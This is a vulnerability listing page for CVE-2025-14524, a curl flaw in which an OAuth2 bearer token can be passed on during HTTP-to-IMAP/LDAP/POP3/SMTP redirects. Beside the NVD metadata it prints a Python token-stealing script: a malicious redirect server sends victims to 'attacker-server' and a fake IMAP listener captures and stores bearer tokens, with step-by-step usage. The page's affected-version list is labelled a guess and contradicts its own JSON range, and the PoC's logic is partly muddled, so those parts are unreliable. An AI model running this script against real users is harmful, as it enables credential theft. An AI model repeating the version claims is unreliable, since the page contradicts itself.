Security Vulnerability Report
中文
CVE-2025-14524 CVSS 5.3 MEDIUM

CVE-2025-14524

Published: 2026-01-08 10:15:47
Last Modified: 2026-01-20 14:53:11
Source: 2499f714-1537-4658-8207-48ae4bb9eae9

Description

When an OAuth2 bearer token is used for an HTTP(S) transfer, and that transfer performs a cross-protocol redirect to a second URL that uses an IMAP, LDAP, POP3 or SMTP scheme, curl might wrongly pass on the bearer token to the new target host.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:haxx:curl:*:*:*:*:*:*:*:* - VULNERABLE
libcurl < 8.11.0 (推测,具体版本需参考官方公告)
curl 8.10.0至8.10.x系列
curl 8.9.0至8.9.x系列

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-14524 PoC - curl OAuth2 Bearer Token Cross-Protocol Redirect Leak This PoC demonstrates how an attacker can steal OAuth2 tokens via cross-protocol redirect. """ import http.server import socketserver import threading import socket # Malicious OAuth2 token (would be captured by attacker) stolen_tokens = [] class MaliciousRedirectHandler(http.server.BaseHTTPRequestHandler): """Handler that redirects victim to IMAP server controlled by attacker""" def do_GET(self): # Send redirect response to IMAP URL # The OAuth2 token will be sent to this URL imap_redirect_url = "imap://attacker-server:143/INBOX" self.send_response(302) self.send_header('Location', imap_redirect_url) self.send_header('Authorization', 'Bearer ' + self.headers.get('Authorization', '')) self.end_headers() print(f"[*] Sent redirect to {imap_redirect_url}") print(f"[*] Authorization header: {self.headers.get('Authorization', 'None')}") class IMAPSniffer(threading.Thread): """Simple IMAP server to capture OAuth2 tokens""" def __init__(self, port=143): super().__init__() self.port = port self.running = True self.daemon = True def run(self): server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server.bind(('0.0.0.0', self.port)) server.listen(1) print(f"[*] IMAP sniffer listening on port {self.port}") while self.running: try: server.settimeout(1.0) conn, addr = server.accept() print(f"[*] Connection from {addr}") # Read data from connection (may contain OAuth2 token) data = b"" try: while True: chunk = conn.recv(4096) if not chunk: break data += chunk except: pass decoded_data = data.decode('utf-8', errors='ignore') if 'Bearer' in decoded_data or 'AUTHENTICATE' in decoded_data: print(f"[!] POTENTIAL TOKEN CAPTURED: {decoded_data[:500]}") stolen_tokens.append(decoded_data) conn.close() except socket.timeout: continue except Exception as e: if self.running: print(f"[!] Error: {e}") server.close() def run_attack_server(port=8080): """Run the malicious HTTP server""" with socketserver.TCPServer(('', port), MaliciousRedirectHandler) as httpd: print(f"[*] Malicious server running on http://0.0.0.0:{port}") print(f"[*] Redirect target: imap://attacker-server:143") print("[*] Waiting for victims...") httpd.serve_forever() if __name__ == "__main__": # Start IMAP sniffer sniffer = IMAPSniffer(port=143) sniffer.start() # Run malicious redirect server run_attack_server(port=8080) # Usage: # 1. Attacker runs this script # 2. Victim uses curl with OAuth2 token: curl -H "Authorization: Bearer <token>" http://attacker-server:8080 # 3. curl follows redirect to imap://attacker-server:143 # 4. OAuth2 token is leaked to attacker's IMAP sniffer

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14524", "sourceIdentifier": "2499f714-1537-4658-8207-48ae4bb9eae9", "published": "2026-01-08T10:15:46.607", "lastModified": "2026-01-20T14:53:11.017", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "When an OAuth2 bearer token is used for an HTTP(S) transfer, and that transfer\nperforms a cross-protocol redirect to a second URL that uses an IMAP, LDAP,\nPOP3 or SMTP scheme, curl might wrongly pass on the bearer token to the new\ntarget host."}, {"lang": "es", "value": "Cuando se utiliza un token portador de OAuth2 para una transferencia HTTP(S), y esa transferencia realiza una redirección entre protocolos a una segunda URL que utiliza un esquema IMAP, LDAP, POP3 o SMTP, curl podría pasar erróneamente el token portador al nuevo host de destino."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-601"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:haxx:curl:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.33.0", "versionEndExcluding": "8.18.0", "matchCriteriaId": "A68C0C39-B32A-4FED-A179-1BF16B8E0E1C"}]}]}], "references": [{"url": "https://curl.se/docs/CVE-2025-14524.html", "source": "2499f714-1537-4658-8207-48ae4bb9eae9", "tags": ["Vendor Advisory", "Patch"]}, {"url": "https://curl.se/docs/CVE-2025-14524.json", "source": "2499f714-1537-4658-8207-48ae4bb9eae9", "tags": ["Vendor Advisory"]}, {"url": "https://hackerone.com/reports/3459417", "source": "2499f714-1537-4658-8207-48ae4bb9eae9", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/01/07/4", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory", "Patch"]}]}}